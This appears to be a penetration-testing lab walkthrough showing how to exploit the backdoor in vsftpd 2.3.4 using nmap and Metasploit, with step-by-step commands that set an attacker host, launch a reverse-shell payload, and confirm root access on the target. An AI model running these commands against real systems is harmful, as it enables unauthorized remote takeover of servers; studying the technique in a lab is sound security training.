FTP Exploitation
FTP (File Transfer Protocol) is a legacy file transfer service that has largely been replaced by encrypted alternatives like SFTP and FTPS on modern systems. However, unpatched or outdated FTP servers are still occasionally found in the wild and remain a common target in penetration testing labs. In this case, vsftpd 2.3.4 contains a publicly known backdoor that allows unauthenticated command execution — turning a simple version check into full remote access.
Discovery
nmap -A -p- -T5 [target IP]Scans all ports with service versions and OS detection to identify the target's open services.
Attack
msfconsoleLaunches the Metasploit Framework console.
search vsftpdSearches for modules related to vsftpd.
use exploit/unix/ftp/vsftpd_234_backdoorSelects the vsftpd 2.3.4 backdoor exploit module.
show targetsDisplays the exploit's available target options.
set target 0Selects the default target (Linux/Unix Command).
show optionsDisplays the required parameters for the exploit and payload.
set RHOSTS [target IP]Sets the target's IP address.
set LHOST [my IP]Sets the attacker's IP address for the reverse connection.
set PAYLOAD cmd/unix/reverseSets the payload to a Unix reverse shell.
checkVerifies the target is vulnerable before launching the exploit.
exploit -j -zLaunches the exploit as a background job. May need to be run more than once due to a timing-sensitive backdoor trigger.
Verification
sessions -lLists active sessions.
sessions -i [id]Interacts with a specific session, using the ID shown by sessions -l.
whoamiConfirms the privilege level of the compromised shell (root).
uname -aDisplays the target system's kernel information.
lsLists files in the current directory to confirm shell access.
Tool Used
This attack was carried out using Metasploit Framework — see the full command reference here.